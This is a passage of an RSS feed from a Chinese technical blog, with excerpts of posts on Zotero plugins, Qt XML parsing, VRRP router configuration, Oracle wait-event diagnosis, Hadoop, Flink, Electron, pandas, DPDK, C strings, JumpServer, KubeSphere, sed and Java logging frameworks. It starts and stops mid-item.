      <description>目录 引言插件安装步骤缺省插件Zotero Connector 其他插件zoteroquicklookJasminumGreen Frog（绿青蛙）ZotfileDoI manager 引言 【注意】以下插件所适用的Zotero版本为最新版本：Zotero 6.0&#xA;插件安装步骤 下载所需的插件；&#xA;打开管理插件页面：（管理插件的位置：点击菜单栏的工具–插件）(zotero更新后的版本叫做附加组件，而不是插件了)&#xA;安装插件 ：Zotero插件的后缀为.xpi格式的文件，直接拖动.xpi的文件到如下图所示的插件管理页面就可以提示安装了（也可以点击左上角Extensions找到对应的插件进行安装），安装插件后要重新启动Zotero才生效；&#xA;缺省插件 以下插件都是Zotero自带的插件，也就是安装Zotero后就已经集成到软件中&#xA;Zotero LiberOffice IntergrationZotero PDF TranslateZotero Word for Windows Intergration Zotero Connector 插件功能&#xA;Zotero Connector会在您浏览网页时自动感知内容，并允许您只需单击一下即可将其保存到Zotero。&#xA;这个插件是在Zotero官网下载安装包界面中就提示要下载的浏览器插件。 在谷歌学术、IEEE、WOS数据库或者某个具体期刊等都可以直接抓取条目信息！&#xA;安装步骤：如果你用的是Edge浏览器，直接点击install Edge Connector就可以安装；如果是其他浏览器，点击下面的Zotero Connectors for other browsers，然后选择你所使用的浏览器安装插件就可以。安装完成后浏览器插件页面上会有一个文件夹或者文件的图标，这个就是Zotero Connector插件！&#xA;其他插件 zoteroquicklook 插件功能：可以通过预览窗口快速查找并阅读对应文献条目下的PDF文件。而Zotero 6.0自带的PDF阅读功能只能新建窗口来打开对应条目下的PDF。安装步骤： 下载QuickLook软件并安装&#xA;下载链接: https://apps.microsoft.com/store/detail/quicklook/9NV4BS3L1H4S?hl=zh-cn&amp;amp;gl=CN 下载zoteroquicklook_zotero beta 6.0.xpi插件并安装到Zotero中，安装完插件记得重启Zotero&#xA;百度网盘链接：https://pan.baidu.com/s/1rEnpsn63L-ulGm56AZQ7-g&#xA;提取码：EMTC&#xA;——（插件来源于B站Up主，注明他的地址：https://www.bilibili.com/read/cv15720656 ）使用步骤：&#xA;（1）单击对应条目，按空格（space）键，可弹出Quicklook的预览窗口，如下图所示。&#xA;（2）如果想要用Zotero自带的PDF阅读器浏览和编辑，和默认的打开方式一样就可以，也就是双击条目即可打开 插件的GitHub地址：目前开发者已经不更新了，但是issues里有讨论怎么解决问题的。等到后续下个版本Zotero不适用再去更新。&#xA;https://github.com/mronkko/ZoteroQuickLook Jasminum 插件功能：&#xA;主要用的还是前三个功能，对于知网下载的学位论文或者期刊论文等中文文献识别，其次就是功能1合并作者姓名的功能，具体效果在插件步骤中演示。 拆分或者合并Zotero中条目的作者姓名；根据知网上下载的文献文件来抓取引用信息（就是根据文件名）；添加中文PDF/CAJ时，自动拉取知网数据，该功能默认关闭。需要到设置中开启，注意添加的文件名需要含有中文，全英文没有效果（还是根据文件名）为知网的学位论文 PDF 添加书签更新中文 translators拉取文献引用次数，是否核心期刊 安装步骤： 下载插件：&#xA;GitHub下载插件：https://github.com/l0o0/jasminum/releases&#xA;百度网盘下载：https://pan.baidu.com/s/10KpghZ72uQ6H2jeKP_Lckw 提取码：EMTC</description>
    </item>
    <item>
      <title>【XML文件解析（二）】</title>
      <link>https://bchobby.github.io/posts/82cce9e9b90f599647ca59672985ec0a/</link>
      <pubDate>Wed, 22 Mar 2023 12:15:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82cce9e9b90f599647ca59672985ec0a/</guid>
      <description>文章目录 概要：本期主要讲解Qt中的QDomDocument类来实现XML文件的解析。一、创建xml文件二、在XML文件中插入元素三、在XML文件中删除元素四、在XML文件中修改元素值五、读取XML文件内容六、查询XML文件中元素的值结尾 概要：本期主要讲解Qt中的QDomDocument类来实现XML文件的解析。 XML操作类如下图:&#xA;XML文件如下图：&#xA;一、创建xml文件 函数名：CreateXmlFile&#xA;参数：_path（传入xml文件生成路径）&#xA;功能：在指定位置生成一个空的xml文件&#xA;bool XmlOperation::CreateXmlFile(QString _path) { if(_path == &#34;&#34;) { qDebug()&amp;lt;&amp;lt;&#34;输入xml文件路径有误！&#34;; return false; } QFile _file(_path); if(!_file.open(QIODevice::WriteOnly | QIODevice::Truncate)) { qDebug()&amp;lt;&amp;lt;&#34;Open &#34;&amp;lt;&amp;lt;_path&amp;lt;&amp;lt;&#34;failed!&#34;; return false; } QDomDocument _doc; //xml文件声明 QDomProcessingInstruction _instruction = _doc.createProcessingInstruction(&#34;xml&#34;,&#34;version=\&#39;1.0\&#39; encoding=\&#39;utf-8\&#39;&#34;); _doc.appendChild(_instruction); //创建根元素 QDomElement _root = _doc.createElement(&#34;root&#34;); _doc.appendChild(_root); //写入到文件 QTextStream outFile(&amp;amp;_file); //缩进4格 _doc.save(outFile, 4); _file.close(); return true; } 二、在XML文件中插入元素 函数名：AddXmlNode&#xA;参数：_path（传入xml文件生成路径）_map（传入元素名和对应值）&#xA;功能：在指定位置的xml文件中插入元素&#xA;bool XmlOperation::AddXmlNode(QString _path, QMap&amp;lt;QString, QString&amp;gt; _map) { if(_path == &#34;</description>
    </item>
    <item>
      <title>VRRP原理及实战实现</title>
      <link>https://bchobby.github.io/posts/add6fbbed05965e040c13d4036024281/</link>
      <pubDate>Wed, 22 Mar 2023 08:21:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/add6fbbed05965e040c13d4036024281/</guid>
      <description>目录&#xA;一、VRRP介绍&#xA;1、VRRP作用&#xA;2、VRRP实现原理&#xA;二、VRRP实验配置&#xA;1、实验目的&#xA;2、实验工具及机器&#xA;3、实验拓扑&#xA;4、实验步骤&#xA;一、VRRP介绍 1、VRRP作用 VRRP协议中文名称虚拟路由冗余协议，应用在路由器上，其作用是某一路由器损坏或链路出现问题立刻切换到另一个路由器上不影响整个网络的运行，更好的保障网络通信。&#xA;例如下图中Server服务器为PC2与PC3提供服务，如果只有AR1路由器配置PC2和PC3的网关，AR1出现问题或者AR1侧的链路出现问题那PC2和PC3就无法访问server了，AR1和AR2又不能同时配置PC2和PC3的网关，所以此刻网络就瘫痪了需要手动去配置AR2。此时若是可以自动切换到AR2就不会出现网络瘫痪的问题，运用VRRP协议可以提供这种自动切换的服务。&#xA;2、VRRP实现原理 VRRP的原理其实很简单，就是将多个路由器逻辑上虚拟成一个大的路由器来提供服务，例如上图中可以将AR1和AR2逻辑上合成一个路由器，配置一个虚拟的ip来为PC提供服务。&#xA;在这个虚拟的“大”路由器中将实际的各个小路由器划分主用和备用路由器，主路由器可以正常工作时备用路由则闲置。划分主路由器与备路由器是如何划分的呢就要看他们的优先级了。如下图，若AR1为主路由器故障后或链路故障后，pc2和pc3则通过备用交换机访问server。&#xA;主备路由器划分标准：&#xA;①根据优先级划分主备路由器&#xA;1、优先级分为0-255级别。&#xA;2、优先级可手动配置1-254.&#xA;3、优先级默认为100。&#xA;4、若其中一个路由器为255级则直接成为主路由器。（一般只有存在真机和虚拟机地址一样时才会出现，成为主机后每1s钟向备机发送一个VRRP报文给备机用来告知备机主机还存在还不需要备机进行工作）&#xA;②若加入虚拟“大”路由器时优先级不是255则先成为备机，等待各路由器互相发送报文看是否有优先级比自己高的机器存在，等待时间为3s。（如何得知网络中是否存在比自己优先级高，虚拟“大”路由器中的设备会互相发送ARRP报文）&#xA;1、若收到的VRRP报文中优先级比自己高，则自己成为备机。&#xA;2、若收到的VRRP报文中优先级比自己低，则自己成为主机。&#xA;3、若收到的VRRP报文中优先级与自己相同，则比较接口ip地址的大小，ip地址大的成为主机。例如10.0.0.1与10.0.0.2则10.0.0.2所在的路由器成为主路由器。&#xA;4、若收到的VRRP报文中优先级为0，则要做好成为主机的准备。优先级为0代表虚拟“大”路由器中的主路由器主动退出。&#xA;5、选择出主路由器后备用路由器不再向主路由器发送报文。&#xA;6、虚拟ip是跟随主备切换的，若AR1为主则虚拟ip在AR1上，若AR1故障切换AR2为主则虚拟ip切换到AR2上。&#xA;③主机虽然每隔1s都在向备机发送VRRP报文但是如果是主机的上层链路出现问题，此时PC1和PC2就不能访问server了，但是主机还是能向备机发送VRRP报文告知自己存在，为了解决这种问题则需要主路由器监听上层链路的情况，需要工程师手动配置，当上层端口down掉则优先级减小一部分，减完之后优先级必须比备用优先级低，这样才能完成切换。&#xA;二、VRRP实验配置 1、实验目的 实现当AR1路由器出现故障不影响网络业务。&#xA;2、实验工具及机器 工具：eNSP V100R003C00SPC100虚拟器&#xA;设备：华为AR220路由器三台、华为S3700交换机一台、华为计算机二台、华为服务器一台。&#xA;3、实验拓扑 4、实验步骤 ①第一步将PC2、PC3、server的IP地址以及掩码网关配置完毕。如下图&#xA;②第二步，将AR1和AR2接口地址以及静态路由配置完毕。&#xA;AR1： &amp;lt;Huawei&amp;gt;undo terminal monitor ##关闭用户视图提示 &amp;lt;Huawei&amp;gt;system-view ##进入系统视图 [Huawei]sysname AR1 ##修改路由器名称 [AR1]interface g0/0/0 ##进入g0/0/0接口 [AR1-GigabitEthernet0/0/0]ip address 192.168.1.100 24 [AR1-GigabitEthernet0/0/0]interface g0/0/1 ##进入g0/0/1接口 [AR1-GigabitEthernet0/0/1]ip address 10.0.0.2 24 ##配置IP地址 [AR1-GigabitEthernet0/0/1]quit ##退回上一层 [AR1]ip route-static 192.</description>
    </item>
    <item>
      <title>记一次Wait Classcursor: mutex X cursor: mutex S等待事件问题核查</title>
      <link>https://bchobby.github.io/posts/00c063a88e0b049673950ec8a9ef4245/</link>
      <pubDate>Tue, 21 Mar 2023 23:53:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00c063a88e0b049673950ec8a9ef4245/</guid>
      <description>客户环境是一套12.2.0.1的一体机rac，上午9点左右的是后客户说连不上库，是连pdb2的时候，客户端会卡在那边，没有返回；&#xA;我在服务器上直接sqlplus abc/abc123456@mypdb2也连接不上，sqlplus一直无法返回，只能返回版本提示信息，无法进入sql&amp;gt;提示符&#xA;查看top，cpu负载很高；--5分钟10分钟，15分钟基本都在500+以上，vcpus 24&#xA;查看内存free -g ，剩余内存较多，还有50g+；swap未被使用过；&#xA;查看iostat感觉等待也还行，负载不是太高；&#xA;查看oracle进程连接，连接比较多ps -ef| grep LOCAL=NO，这套库配置的process比较高，10000这个没有超标；&#xA;昨天发生过一次，当时重启了pdb2就好了；但是过了一天，又发生了；&#xA;生成awr报告&#xA;db time时间很长，可见数据库目前负载很大；&#xA;并行latch里面的mutex X等待事件特别高，占所有等待事件的84.5；这个等待事件是保护库缓存内存结构的latch，跟sql解析hashvalue的内存结构有关；&#xA;查询了会话很多，而且active的会话都是waiting的状态，都在等待资源，由上面的等待事件来看，应该就是在等待mutex X的锁；&#xA;set linesize 1000 pagesize 1000 col instance_number for 999999 col session_id for 9999999 col session_serial# for 99999999 col SQL_ID for a20 col EVENT for a15 col BLOCKING_INST_ID for 999 col BLOCKING_SESSION for a10 col BLOCKING_SESSION_SERIAL# for 9999 col PROGRAM for a20 select instance_number,session_id,session_serial#,SQL_ID,EVENT,BLOCKING_INST_ID,BLOCKING_SESSION, BLOCKING_SESSION_SERIAL# ,PROGRAM from DBA_HIST_ACTIVE_SESS_HISTORY where SAMPLE_TIME between to_timestamp(&#39;202303210900&#39;,&#39;yyyymmddhh24mi&#39;) and to_timestamp(&#39;202303211000&#39;,&#39;yyyymmddhh24mi&#39;) and rownum &amp;lt;10000; 查询该时间段执行的sql，发现这条sql数据量特别多，而且都在不同会话等待相同的mutex s锁资源；</description>
    </item>
    <item>
      <title>hadoop fs常用命令（五）</title>
      <link>https://bchobby.github.io/posts/c0ffe5d76ca40d213328b223d8ef00b2/</link>
      <pubDate>Tue, 21 Mar 2023 21:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0ffe5d76ca40d213328b223d8ef00b2/</guid>
      <description>hadoop fs -help&#xA;当执行-help命令后，可以列出所有命令帮助信息&#xA;查看某一命令的帮助信息可在-help后面跟上所要查询的命令，以cat命令为例：&#xA;hadoop fs -help cat 常用命令&#xA;hadoop fs （hdfs dfs）文件操作&#xA;ls 显示目录下的所有文件或者文件夹&#xA;使用方法： hadoop fs -ls [uri形式目录]示例:&#xA;hadoop fs -ls / 显示根目录下的所有文件和目录显示目录下的所有文件可以加 -R 选项示例:&#xA;hadoop fs -ls -R / cat 查看文件内容&#xA;使用方法：hadoop fs -cat URI [URI …]示例：&#xA;hadoop fs -cat /in/test2.txt mkdir 创建目录&#xA;使用方法：hadoop fs -mkdir [uri形式目录]示例:&#xA;hadoop fs –mkdir /test 创建多级目录 加上 -p示例:&#xA;hadoop fs -mkdir -p /a/b/c rm 删除目录或者文件&#xA;使用方法:hadoop fs -rm [文件路径]</description>
    </item>
    <item>
      <title>Flink使用 KafkaSource消费 Kafka中的数据</title>
      <link>https://bchobby.github.io/posts/5a3cd869d1d8f57e8175adeb71a603aa/</link>
      <pubDate>Tue, 21 Mar 2023 21:22:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a3cd869d1d8f57e8175adeb71a603aa/</guid>
      <description>1.前言 目前，很多 flink相关的书籍和网上的文章讲解如何对接 kafka时都是使用的 FlinkKafkaConsumer，如下：&#xA;StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); Properties properties = new Properties(); //指定kafka的Broker地址 properties.setProperty(&#34;bootstrap.servers&#34;, &#34;192.168.xx.xx:9092&#34;); //指定组ID properties.setProperty(&#34;group.id&#34;, &#34;flink-demo&#34;); //如果没有记录偏移量，第一次从最开始消费 properties.setProperty(&#34;auto.offset.reset&#34;, &#34;earliest&#34;); FlinkKafkaConsumer&amp;lt;String&amp;gt; kafkaSource = new FlinkKafkaConsumer&amp;lt;&amp;gt;(&#34;topic005&#34;, new SimpleStringSchema(), properties); 新版的 flink，比如 1.14.3已经将 FlinkKafkaConsumer标记为 deprecated（不推荐）,如下：&#xA;&#39;org.apache.flink.streaming.connectors.kafka.FlinkKafkaConsumer&#39; is deprecated 2.如何使用 KafkaSource 新版本的 flink应该使用 KafkaSource来消费 kafka中的数据，详细代码如下：&#xA;StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); KafkaSource&amp;lt;String&amp;gt; kfkSource = KafkaSource.&amp;lt;String&amp;gt;builder() .setBootstrapServers(&#34;192.168.xx.xx:9092&#34;) .setGroupId(&#34;flink-demo&#34;) .setTopics(&#34;topic005&#34;) .setStartingOffsets(OffsetsInitializer.earliest()) .setValueOnlyDeserializer(new SimpleStringSchema()) .build(); DataStreamSource&amp;lt;String&amp;gt; lines = env.fromSource(kfkSource, WatermarkStrategy.noWatermarks(), &#34;kafka source&#34;); 3.总结 开发者在工作中应该尽量避免使用被标记为 deprecated的方法或者类，要及时进行更换，保持代码的活力。</description>
    </item>
    <item>
      <title>Electron应用图标的配置与生成</title>
      <link>https://bchobby.github.io/posts/a54c642a76e5a62b449aa7dddbe0a56c/</link>
      <pubDate>Tue, 21 Mar 2023 21:05:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a54c642a76e5a62b449aa7dddbe0a56c/</guid>
      <description>技术选型：&#xA;1、&#34;electron&#34;: &#34;21.3.3&#34;,&#xA;2、&#34;electron-vite&#34;: &#34;1.0.17&#34;&#xA;3、&#34;vue&#34;: &#34;3.2.45&#34;&#xA;4、&#34;element-plus&#34;: &#34;2.2.32&#34;&#xA;背景：&#xA;默认情况下我们使用electron开发的应用使用的图标有四种类型：&#xA;软件的安装文件图标：&#xA;软件安装之后在桌面生成的图标：&#xA;软件打开之后在任务栏显示的图标：&#xA;软件打开之后左上角显示的图标：&#xA;那么在electron里面怎么设置这四种图标呢？&#xA;其实上面四种图标可以分为两类，1和2分为一类，叫安装包图标，3和4分为一类，软件运行时显示的图标，叫窗口图标&#xA;窗口图标的修改：&#xA;修改的文件：src\main\index.js&#xA;修改的文件内容，参考下面代码第八行，在BrowserWindow里面设置icon属性：&#xA;function createWindow() { // Create the browser window. const mainWindow = new BrowserWindow({ width: 1400, height: 800, show: false, autoHideMenuBar: true, icon: join(__dirname,&#39;../../resources/image/3.png&#39;), ...(process.platform === &#39;linux&#39; ? { icon } : {}), webPreferences: { preload: join(__dirname, &#39;../preload/index.js&#39;), sandbox: false, nodeIntegration: true } }) 安装包图标的修改&#xA;安装包图标的修改要比窗口图标修改困难的多&#xA;安装electron-icon-builder&#xA;npm i electron-icon-builder 在package.</description>
    </item>
    <item>
      <title>Python：Pandas字符串处理相关函数与loc[]切片</title>
      <link>https://bchobby.github.io/posts/86ac418eb4138292079f24349e9b0916/</link>
      <pubDate>Tue, 21 Mar 2023 16:46:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86ac418eb4138292079f24349e9b0916/</guid>
      <description>目录&#xA;前言：&#xA;一、字符串处理&#xA;1. len()&#xA;2. lower() 3. strip() 4. split()&#xA;5. cat(sep=)&#xA;6. contains()&#xA;7. replace()&#xA;8. count()&#xA;9. startswith() 和 endswith()&#xA;10. findall() 与 find()&#xA;二、切片之.loc[] 与 .iloc[]&#xA;.loc[]&#xA;.iloc[]&#xA;前言： 本文为学习记录，仅供个人复习使用。如有错误，望指正。文中字符串处理基于Series数据类型。&#xA;本文包含pandas三方库内处理字符串的相关函数，以及.loc[]和.icol[]切片。&#xA;新手注意：pandas库中包含了多种数据类型，在专门处理字符串类型的时候，添加一个.str&#xA;调用字符串相关函数时，写法为：数据名称.str.函数名称() 一、字符串处理 1. len() 该函数返回字符串的长度。&#xA;import numpy as np import pandas as pd s = pd.Series([&#39;C&#39;, &#39;Python &#39;, &#39;java&#39;, &#39;go&#39;, np.nan, &#39;1125 &#39;, &#39; javascript&#39;]) print(s.str.len()) &#39;&#39;&#39; 0 1.0 1 6.0 2 4.0 3 2.</description>
    </item>
    <item>
      <title>DPDK介绍</title>
      <link>https://bchobby.github.io/posts/08ba827587b24268c113532b811a32d5/</link>
      <pubDate>Tue, 21 Mar 2023 16:20:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08ba827587b24268c113532b811a32d5/</guid>
      <description>DPDK 为 Intel 处理器架构下用户空间高效的数据包处理提供了库函数和驱动的支持，它不同于 Linux 系统以通用性设计为目的，而是专注于网络应用中数据包的高性能处理。&#xA;也就是 DPDK 绕过了 Linux 内核协议栈对数据包的处理过程，在用户空间实现了一套数据平面来进行数据包的收发与处理。在内核看来，DPDK 就是一个普通的用户态进程，它的编译、连接和加载方式和普通程序没有什么两样。&#xA;一、背景介绍 随着云计算产业的异军突起，网络技术的不断创新，越来越多的网络设备基础架构逐步向基于通用处理器平台的架构方向融合，从传统的物理网络到虚拟网络，从扁平化的网络结构到基于 SDN 分层的网络结构，无不体现出这种创新与融合。&#xA;这在使得网络变得更加可控制和成本更低的同时，也能够支持大规模用户或应用程序的性能需求，以及海量数据的处理。究其原因，其实是高性能网络编程技术随着网络架构的演进不断突破的一种必然结果。&#xA;说到高性能网络编程，一定逃不过 C10K 问题（即单机 1 万个并发连接问题），不过这个问题已经成为历史了，很多技术可以解决它，如常用的 I/O 多路复用模型，select, poll, epoll 等。在此基础上也出了很多优秀的框架，比如 Nginx 基于事件驱动的 Web 服务框架，以及基于 Python 开发的 Tornado 和 Django 这种非阻塞的 Web 框架。&#xA;这里不得不提一个人，就是 Errata Security 公司的 CEO Robert Graham，他在 Shmoocon 2013 大会上很巧妙地解释了这个问题。有兴趣可以查看其 YouTube 的演进视频： C10M Defending The Internet At Scale。他提到了 UNIX 的设计初衷其实为电话网络的控制系统而设计的，而不是一般的服务器操作系统，所以，它仅仅是一个负责数据传送的系统，没有所谓的控制层面和数据层面的说法，不适合处理大规模的网络数据包。最后他得出的结论是：&#xA;OS 的内核不是解决 C10M 问题的办法，恰恰相反 OS 的内核正式导致 C10M 问题的关键所在。&#xA;二、问题产生：OS内核弊端 1、中断处理：当网络中大量数据包到来时，会产生频繁的硬件中断请求，这些硬件中断可以打断之前较低优先级的软中断或者系统调用的执行过程，如果这种打断频繁的话，将会产生较高的性能开销。</description>
    </item>
    <item>
      <title>字符数组和字符指针</title>
      <link>https://bchobby.github.io/posts/e176a1d2721bf807a5a228ca08bc6956/</link>
      <pubDate>Tue, 21 Mar 2023 16:18:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e176a1d2721bf807a5a228ca08bc6956/</guid>
      <description>经常有人问这个问题，mark一下，看完就非常清晰了。&#xA;1.字符指针可以指向一个字符串。&#xA;我们可以用字符串常量对字符指针进行初始化。例如，有说明语句：&#xA;char *str = &#34;This is a string.&#34;; 是对字符指针进行初始化。此时，字符指针指向的是一个字符串常量的首地址，即指向字符串的首地址。&#xA;这里要注意字符指针与字符数组之间的区别。例如，有说明语句：&#xA;char string[ ]=&#34;This is a string.&#34;; 此时，string是字符数组，它存放了一个字符串。&#xA;字符指针str与字符数组string的区别是：str是一个变量，可以改变str使它指向不同的字符串，但不能改变str所指的字符串常量。string是一个数组，可以改变数组中保存的内容。&#xA;2.实例：&#xA;char *str, *str1=&#34;This is another string.&#34;; char string[100]=&#34;This is a string.&#34;; 则在程序中，可以使用如下语句：&#xA;str++; /* 指针str加1 */ str = &#34;This is a NEW string.&#34;; /* 使指针指向新的字符串常量 */ str = str1; /* 改变指针str的指向 */ strcpy( string, &#34;This is a NEW string.&#34;) /* 改变字符串的的内容 */ strcat( string, str) /* 进行串连接操作 */ 在程序中，不能进行如下操作：</description>
    </item>
    <item>
      <title>jumpserver 常见问题处理</title>
      <link>https://bchobby.github.io/posts/617d285175dbbe3d470fea384497cf21/</link>
      <pubDate>Tue, 21 Mar 2023 15:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/617d285175dbbe3d470fea384497cf21/</guid>
      <description>目录 jumpserver 常见问题处理 账号密码类 用户点击登录资产时没有可选账号登录 jumpserver 常见问题处理 账号密码类 用户点击登录资产时没有可选账号登录 权限管理-资产授权-指定账号&#xA;想要的效果是，jumpserver的普通用户zhangke登录一台机器，登录的时候可以选择他自己在linux上的账号登录&#xA;然而给jumpserver普通用户指定使用zhangke这个用户登录主机，输入的时候不自动显示&#xA;正常登录的时候应该是像下面这样的，登录选择账号，而zhangke这个却没有&#xA;解决方案如下：&#xA;首先先查看属于zhangke的资产有哪些，然后分别登录到这些机器上增加zhangke的账号密码&#xA;(ps：这里是因为历史遗留问题只能每个人每台机器的账号和权限都不一样，其实一个非root用户就能替代的)&#xA;//登录这些资产机器分别加账号，我用的ansible useradd zhangke -g zhangke ... //这里不做详细描述了，对运维来说很多种方法都可以搞定 然后确认账号管理-账号模版下有没有zhangke的模版，如果没有就添加&#xA;最后登录到jumpserver，点击 资产管理-资产列表，找到对应的那些机器，分别点击更新&#xA;修改账号列表&#xA;点击账号模版，选择我们刚才在账号管理-账号模版里创建的账号zhangke，然后点击更新&#xA;和zhangke绑定的那些机器都添加完账号模版后，我们再去给他指定账号登录，他就可以自己弹出zhangke，并且登录的时候也能选择张可的账号登录我们的机器了</description>
    </item>
    <item>
      <title>VS CODE插件-Keil Assistant代替keil编辑器</title>
      <link>https://bchobby.github.io/posts/bec6fa7112c381025323279eb7e79234/</link>
      <pubDate>Tue, 21 Mar 2023 15:05:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bec6fa7112c381025323279eb7e79234/</guid>
      <description>VS CODE插件-Keil Assistant代替keil编辑器&#xA;##&#xA;vscode 上的 Keil 辅助工具，与 c/c++ 插件配合使用.&#xA;能够为 Keil 项目提供 语法高亮、代码片段 的功能，并支持对 keil 项目进行 编译、下载。&#xA;仅支持 Keil uVison 5 及以上版本&#xA;仅支持 Windows 平台</description>
    </item>
    <item>
      <title>K8S可视化管理平台KubeSphere</title>
      <link>https://bchobby.github.io/posts/e57576994ee1906137d744996afb890f/</link>
      <pubDate>Tue, 21 Mar 2023 14:47:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e57576994ee1906137d744996afb890f/</guid>
      <description>什么是 KubeSphere ？ KubeSphere 是一款开源项目，在目前主流容器调度平台 Kubernetes 之上构建的企业级分布式多租户容器管理平台，提供简单易用的操作界面以及向导式操作方式，在降低用户使用容器调度平台学习成本的同时，极大降低开发、测试、运维的日常工作的复杂度。&#xA;特点 易用&#xA;面向开发、测试、运维友好的 UI，向导式用户体验，通过 KubeSphere 控制台将 Kubernetes 的能力以一种极简的方式输送给用户。&#xA;灵活&#xA;除开源解决方案外，如用户对网络和存储有更高要求，可选用 青云 QingCloud 作为底层平台，可以使用商业化的网络和存储解决方案，集成青云 SDN、块存储和 NeonSAN。&#xA;高效&#xA;无基础设施依赖，无 Kubernetes 依赖，支持跨物理机、虚拟机、云平台部署，可以纳管不同版本、不同厂商的 Kubernetes 集群。&#xA;应用场景 KubeSphere®️ 适用于企业在数字化转型时所面临的敏捷开发与自动化运维、微服务应用架构与流量治理、自动弹性伸缩和业务高可用、DevOps 持续集成与交付等应用场景。&#xA;一步升级容器架构，助力业务数字化转型&#xA;企业用户部署于物理机、传统虚拟化环境的业务系统，各业务模块会深度耦合，资源不能灵活的水平扩展。KubeSphere 帮助企业将 IT 环境容器化并提供完整的运维管理功能，同时依托青云QingCloud 为企业提供强大的网络、存储支持，并可高效对接企业原监控、运维系统，一站式高效完成企业 IT 容器化改造。&#xA;多维管控 Kubernetes，降低运维复杂度&#xA;无论将业务架构在 Kubernetes 平台上的用户，还是使用多套来自不同厂商提供的 Kubernetes 平台的用户，复杂的运维管理使企业压力倍增。KubeSphere 可提供统一平台纳管异构 Kubernetes 集群，支持应用自动化部署，减轻日常运维压力。同时，完善的监控告警与日志管理系统有效节省运维人工成本，使企业能够将更多精力投放到业务创新上。&#xA;敏捷开发与自动化运维，推动企业 DevOps 落地&#xA;DevOps 将开发团队与运营团队通过一套流程或方法建立更具协作性、更高效的的关系，使得开发、测试、发布应用能够更加敏捷、高效、可靠。KubeSphere CI / CD 功能可为企业DevOps 提供敏捷开发与自动化运维。同时， KubeSphere 的微服务治理功能，帮助企业以一种细粒度的方式开发、测试和发布服务，有效推动企业 DevOps 落地。&#xA;灵活的微服务解决方案，一步升级云原生架构&#xA;微服务架构可轻量级构建冗余，可扩展性强，非常适合构建云原生应用程序。KubeSphere 基于主流微服务解决方案 Istio，提供无代码侵入的微服务治理平台。后续将集成 SpringCloud，便于企业构建 Java 应用，助力企业一步实现微服务架构，实现应用云原生转型。</description>
    </item>
    <item>
      <title>Linux shell---sed的几个简单的替换应用</title>
      <link>https://bchobby.github.io/posts/63639f2a12c9615026a56f6c0ec1cfa6/</link>
      <pubDate>Tue, 21 Mar 2023 14:01:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63639f2a12c9615026a56f6c0ec1cfa6/</guid>
      <description>对字符串的操作：&#xA;例如：提取字符串aa_bb_cc_dd中的字符&#xA;提取第一个下划线 _ 前的字符：(将下划线后的字符替换为空字符)&#xA;echo &#34;aa_bb_cc_dd&#34; | sed &#39;s/_[^_]*//g&#39;&#xA;运行结果：aa&#xA;删除最后一个下划线 _ 后的字符：(将下划线后的字符替换为空字符)&#xA;echo &#34;aa_bb_cc_dd&#34; | sed &#39;s/_[^_]*$//g&#39;&#xA;运行结果：aa_bb_cc&#xA;替换最后一个下划线 _ 后的字符：&#xA;echo &#34;aa_bb_cc_dd&#34; | sed &#39;s/[^_]*$/ee/g&#39;&#xA;运行结果：aa_bb_cc_ee&#xA;替换除下划线 _ 外的所有字符：&#xA;echo &#34;aa_bb_cc_dd&#34; | sed &#39;s/[^_]/e/g&#39;&#xA;运行结果：ee_ee_ee_ee</description>
    </item>
    <item>
      <title>带你深入Java Log框架，彻底搞懂Log4J、Log4J2、LogBack，SLF4J</title>
      <link>https://bchobby.github.io/posts/81a62dc3d0796e752fd6a2bd34689eed/</link>
      <pubDate>Tue, 21 Mar 2023 13:16:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81a62dc3d0796e752fd6a2bd34689eed/</guid>
      <description>Log4J、Log4J2和LogBack的历史故事 使用过Log4J和LogBack的同学肯定能发现，这两个框架的设计理念极为相似，使用方法也如出一辙。其实这个两个框架的作者都是一个人，Ceki Gülcü，俄罗斯程序员。&#xA;Log4J 最初是基于Java开发的日志框架，发展一段时间后，作者Ceki Gülcü将Log4j捐献给了Apache软件基金会，使之成为了Apache日志服务的一个子项目。 又由于Log4J出色的表现，后续又被孵化出了支持C, C++, C#, Perl, Python, Ruby等语言的子框架。&#xA;然而，伟大的程序员好像都比较有个性。Ceki Gülcü由于不满Apache对Log4J的管理，决定不再参加Log4J的开发维护。“出走”后的Ceki Gülcü另起炉灶，开发出了LogBack这个框架（SLF4J是和LogBack一起开发出来的）。LogBack改进了很多Log4J的缺点，在性能上有了很大的提升，同时使用方式几乎和Log4J一样，许多用户开始慢慢开始使用LogBack。&#xA;由于受到LogBack的冲击，Log4J开始式微。终于，2015年9月，Apache软件基金业宣布，Log4j不在维护，建议所有相关项目升级到Log4j2。Log4J2是Apache开发的一个新的日志框架，改进了很多Log4J的缺点，同时也借鉴了LogBack，号称在性能上也是完胜LogBack。性能这块后面我会仔细分析。&#xA;那slf4j和这些有什么关系？ SLF4J的全称是Simple Logging Facade for Java，slf4j是门面模式的典型应用，因此在讲slf4j前，需要简单介绍下门面模式。&#xA;看看门面模式再说 下面是门面模式的一个典型调用过程，其核心为外部与一个子系统的通信必须通过一个统一的外观对象进行，使得子系统更易于使用。 下图中客户端不需要直接调用几个子系统，只需要与统一的门面进行通信即可。&#xA;门面模式的核心为Facade即门面对象，核心为几个点：&#xA;知道所有子角色的功能和责任。&#xA;将客户端发来的请求委派到子系统中，没有实际业务逻辑。&#xA;不参与子系统内业务逻辑的实现。&#xA;为什么要使用slf4j ？ 回答这个问题之前，我们先看看如果需要用上面几个日志框架来打印日志，一般怎么做，具体代码如下：&#xA;// 使用log4j，需要log4j.jar import org.apache.log4j.Logger; Logger logger_log4j = Logger.getLogger(Test.class); logger_log4j.info(&#34;Hello World!&#34;); // 